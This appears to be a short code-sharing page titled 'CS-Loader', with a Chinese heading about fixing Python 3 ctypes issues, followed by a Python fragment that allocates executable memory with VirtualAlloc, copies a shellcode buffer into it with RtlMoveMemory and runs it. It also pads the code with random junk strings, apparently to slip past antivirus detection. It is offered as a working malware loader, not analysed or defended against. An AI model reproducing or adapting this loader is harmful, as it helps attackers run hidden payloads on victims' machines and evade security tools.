CS-Loader
CS-Loader copied to clipboard
解决python3 ctypes类问题
''' 修复ctypes问题 ''' windll.kernel32.VirtualAlloc.restype = c_void_p windll.kernel32.RtlCopyMemory.argtypes = (c_void_p, c_void_p, c_size_t)
VirtualAlloc = windll.kernel32.VirtualAlloc VirtualProtect = windll.kernel32.VirtualProtect useless += random.choice(useless) whnd = windll.kernel32.GetConsoleWindow() RtlMoveMemory = windll.kernel32.RtlMoveMemory memHscode = VirtualAlloc(c_int(0), c_int(len(code)), c_int(0x3000), c_int(0x40)) buf = (c_char * len(code)).from_buffer(code) useless += random.choice(useless)[:-1] RtlMoveMemory(c_void_p(memHscode), buf, c_int(len(code))) runcode = cast(memHscode, CFUNCTYPE(c_void_p)) runcode()